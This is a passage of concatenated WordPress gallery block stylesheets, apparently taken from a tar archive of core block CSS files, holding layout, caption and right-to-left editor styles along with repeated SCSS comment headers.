* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoints & Media Queries
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
.blocks-gallery-caption {
color: #555;
font-size: 13px;
text-align: center;
}
.is-dark-theme .blocks-gallery-caption {
color: rgba(255, 255, 255, 0.65);
} gallery/style.css 0000644 00000046063 15237550573 0010102 0 ustar 00 /**
* Colors
*/
/**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoints & Media Queries
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
.wp-block-gallery:not(.has-nested-images),
.blocks-gallery-grid:not(.has-nested-images) {
display: flex;
flex-wrap: wrap;
list-style-type: none;
padding: 0;
margin: 0;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item {
margin: 0 1em 1em 0;
display: flex;
flex-grow: 1;
flex-direction: column;
justify-content: center;
position: relative;
width: calc(50% - 1em);
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even),
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even),
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even),
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure {
margin: 0;
height: 100%;
display: flex;
align-items: flex-end;
justify-content: flex-start;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img {
display: block;
max-width: 100%;
height: auto;
width: auto;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption {
position: absolute;
bottom: 0;
width: 100%;
max-height: 100%;
overflow: auto;
padding: 3em 0.77em 0.7em;
color: #fff;
text-align: center;
font-size: 0.8em;
background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent);
box-sizing: border-box;
margin: 0;
z-index: 2;
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img {
display: inline;
}
.wp-block-gallery:not(.has-nested-images) figcaption,
.blocks-gallery-grid:not(.has-nested-images) figcaption {
flex-grow: 1;
}
.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,
.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,
.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,
.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img {
width: 100%;
height: 100%;
flex: 1;
object-fit: cover;
}
.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item {
width: 100%;
margin-right: 0;
}
@media (min-width: 600px) {
.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item {
width: calc(33.3333333333% - 0.6666666667em);
margin-right: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item {
width: calc(25% - 0.75em);
margin-right: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item {
width: calc(20% - 0.8em);
margin-right: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item {
width: calc(16.6666666667% - 0.8333333333em);
margin-right: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item {
width: calc(14.2857142857% - 0.8571428571em);
margin-right: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item,
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item {
width: calc(12.5% - 0.875em);
margin-right: 1em;
}
.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),
.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),
.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),
.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),
.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),
.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),
.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),
.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),
.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n) {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),
.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n) {
margin-right: 0;
}
}
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,
.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,
.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child {
margin-right: 0;
}
.wp-block-gallery:not(.has-nested-images).alignleft, .wp-block-gallery:not(.has-nested-images).alignright,
.blocks-gallery-grid:not(.has-nested-images).alignleft,
.blocks-gallery-grid:not(.has-nested-images).alignright {
max-width: 420px;
width: 100%;
}
.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure,
.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure {
justify-content: center;
}
.wp-block-gallery:not(.is-cropped) .blocks-gallery-item {
align-self: flex-start;
}
figure.wp-block-gallery.has-nested-images {
align-items: normal;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image) {
width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) / 2);
margin: 0;
}
.wp-block-gallery.has-nested-images figure.wp-block-image {
display: flex;
flex-grow: 1;
justify-content: center;
position: relative;
flex-direction: column;
max-width: 100%;
box-sizing: border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image > div,
.wp-block-gallery.has-nested-images figure.wp-block-image > a {
margin: 0;
flex-direction: column;
flex-grow: 1;
}
.wp-block-gallery.has-nested-images figure.wp-block-image img {
display: block;
height: auto;
max-width: 100% !important;
width: auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before,
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
position: absolute;
bottom: 0;
right: 0;
left: 0;
max-height: 100%;
}
.wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before {
content: "";
height: 100%;
max-height: 3em;
pointer-events: none;
backdrop-filter: blur(3px);
-webkit-mask-image: linear-gradient(0deg, #000 20%, transparent 100%);
mask-image: linear-gradient(0deg, #000 20%, transparent 100%);
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
color: #fff;
text-shadow: 0 0 1.5px #000;
font-size: 13px;
margin: 0;
overflow: auto;
padding: 1em;
text-align: center;
box-sizing: border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar {
width: 12px;
height: 12px;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track {
background-color: transparent;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb {
background-color: transparent;
border-radius: 8px;
border: 3px solid transparent;
background-clip: padding-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb {
background-color: rgba(255, 255, 255, 0.8);
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
scrollbar-width: thin;
scrollbar-gutter: stable both-edges;
scrollbar-color: transparent transparent;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within {
scrollbar-color: rgba(255, 255, 255, 0.8) transparent;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
will-change: transform;
}
@media (hover: none) {
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
scrollbar-color: rgba(255, 255, 255, 0.8) transparent;
}
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption {
background: linear-gradient(0deg, rgba(0, 0, 0, 0.4) 0%, transparent 100%);
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img {
display: inline;
}
.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a {
color: inherit;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img {
box-sizing: border-box;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > div,
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > a, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > div,
.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > a {
flex: 1 1 auto;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption {
flex: initial;
background: none;
color: inherit;
margin: 0;
padding: 10px 10px 9px;
position: relative;
text-shadow: none;
}
.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded::before, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border::before {
content: none;
}
.wp-block-gallery.has-nested-images figcaption {
flex-grow: 1;
flex-basis: 100%;
text-align: center;
}
.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image) {
margin-top: 0;
margin-bottom: auto;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) {
align-self: inherit;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > div:not(.components-drop-zone),
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > a {
display: flex;
}
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,
.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img {
width: 100%;
flex: 1 0 0%;
height: 100%;
object-fit: cover;
}
.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image) {
width: 100%;
}
@media (min-width: 600px) {
.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image) {
width: calc(33.3333333333% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667);
}
.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image) {
width: calc(25% - var(--wp--style--unstable-gallery-gap, 16px) * 0.75);
}
.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image) {
width: calc(20% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8);
}
.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image) {
width: calc(16.6666666667% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8333333333);
}
.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image) {
width: calc(14.2857142857% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8571428571);
}
.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image) {
width: calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px) * 0.875);
}
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image) {
width: calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667);
}
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2) ~ figure.wp-block-image:not(#individual-image) {
width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) * 0.5);
}
.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(1) {
width: 100%;
}
}
.wp-block-gallery.has-nested-images.alignleft, .wp-block-gallery.has-nested-images.alignright {
max-width: 420px;
width: 100%;
}
.wp-block-gallery.has-nested-images.aligncenter {
justify-content: center;
} gallery/editor.css 0000644 00000010175 15237550573 0010223 0 ustar 00 /**
* Breakpoints & Media Queries
*/
/**
* Colors
*/
/**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
:root :where(figure.wp-block-gallery) {
display: block;
}
:root :where(figure.wp-block-gallery) > .blocks-gallery-caption {
flex: 0 0 100%;
}
:root :where(figure.wp-block-gallery) > .blocks-gallery-media-placeholder-wrapper {
flex-basis: 100%;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error {
display: block;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content {
margin: 4px 0;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss {
position: absolute;
top: 0;
right: 5px;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label {
display: none;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button {
margin-bottom: 0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder {
margin: 0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label {
display: flex;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption {
z-index: 2;
}
:root :where(figure.wp-block-gallery) .components-spinner {
position: absolute;
top: 50%;
left: 50%;
margin-top: -9px;
margin-left: -9px;
}
/**
* Gallery inspector controls settings.
*/
.gallery-settings-buttons .components-button:first-child {
margin-right: 8px;
}
/**
* Deprecated css past this point. This can be removed once all galleries are migrated
* to V2.
*/
.blocks-gallery-item figure:not(.is-selected):focus,
.blocks-gallery-item img:focus {
outline: none;
}
.blocks-gallery-item figure.is-selected::before {
box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
content: "";
outline: 2px solid transparent;
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
z-index: 1;
pointer-events: none;
}
.blocks-gallery-item figure.is-transient img {
opacity: 0.3;
}
.blocks-gallery-item .block-editor-media-placeholder {
margin: 0;
height: 100%;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label {
display: flex;
}
.wp-block-gallery ul.blocks-gallery-grid {
padding: 0;
margin: 0;
}
@media (min-width: 600px) {
.wp-block-update-gallery-modal {
max-width: 480px;
}
}
.wp-block-update-gallery-modal-buttons {
display: flex;
justify-content: flex-end;
gap: 12px;
} gallery/editor-rtl.css 0000644 00000010175 15237550573 0011022 0 ustar 00 /**
* Breakpoints & Media Queries
*/
/**
* Colors
*/
/**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Converts a hex value into the rgb equivalent.
*
* @param {string} hex - the hexadecimal value to convert
* @return {string} comma separated rgb values
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Breakpoint mixins
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
/**
* Creates a checkerboard pattern background to indicate transparency.
* @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px.
*/
:root :where(figure.wp-block-gallery) {
display: block;
}
:root :where(figure.wp-block-gallery) > .blocks-gallery-caption {
flex: 0 0 100%;
}
:root :where(figure.wp-block-gallery) > .blocks-gallery-media-placeholder-wrapper {
flex-basis: 100%;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error {
display: block;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content {
margin: 4px 0;
}
:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss {
position: absolute;
top: 0;
left: 5px;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label {
display: none;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button {
margin-bottom: 0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder {
margin: 0;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label {
display: flex;
}
:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption {
z-index: 2;
}
:root :where(figure.wp-block-gallery) .components-spinner {
position: absolute;
top: 50%;
right: 50%;
margin-top: -9px;
margin-right: -9px;
}
/**
* Gallery inspector controls settings.
*/
.gallery-settings-buttons .components-button:first-child {
margin-left: 8px;
}
/**
* Deprecated css past this point. This can be removed once all galleries are migrated
* to V2.
*/
.blocks-gallery-item figure:not(.is-selected):focus,
.blocks-gallery-item img:focus {
outline: none;
}
.blocks-gallery-item figure.is-selected::before {
box-shadow: 0 0 0 1px #fff inset, 0 0 0 3px var(--wp-admin-theme-color) inset;
content: "";
outline: 2px solid transparent;
position: absolute;
top: 0;
left: 0;
bottom: 0;
right: 0;
z-index: 1;
pointer-events: none;
}
.blocks-gallery-item figure.is-transient img {
opacity: 0.3;
}
.blocks-gallery-item .block-editor-media-placeholder {
margin: 0;
height: 100%;
}
.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label {
display: flex;
}
.wp-block-gallery ul.blocks-gallery-grid {
padding: 0;
margin: 0;
}
@media (min-width: 600px) {
.wp-block-update-gallery-modal {
max-width: 480px;
}
}
.wp-block-update-gallery-modal-buttons {
display: flex;
justify-content: flex-end;
gap: 12px;
} gallery/editor-rtl.min.css 0000644 00000004011 15237550573 0011574 0 ustar 00 :root :where(figure.wp-block-gallery){display:block}:root :where(figure.wp-block-gallery)>.blocks-gallery-caption{flex:0 0 100%}:root :where(figure.wp-block-gallery)>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice.is-error{display:block}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__content{margin:4px 0}:root :where(figure.wp-block-gallery) .wp-block-image .components-notice__dismiss{left:5px;position:absolute;top:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder{margin:0}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder .components-placeholder__label{display:flex}:root :where(figure.wp-block-gallery) .block-editor-media-placeholder figcaption{z-index:2}:root :where(figure.wp-block-gallery) .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.gallery-settings-buttons .components-button:first-child{margin-left:8px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end} gallery/style-rtl.css 0000644 00000046042 15237550573 0010676 0 ustar 00 /**
* Colors
*/
/**
* Typography
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Fonts & basic variables.
*/
/**
* Typography
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Radius scale.
*/
/**
* Elevation scale.
*/
/**
* Dimensions.
*/
/**
* Mobile specific styles
*/
/**
* Editor styles.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoints & Media Queries
*/
/**
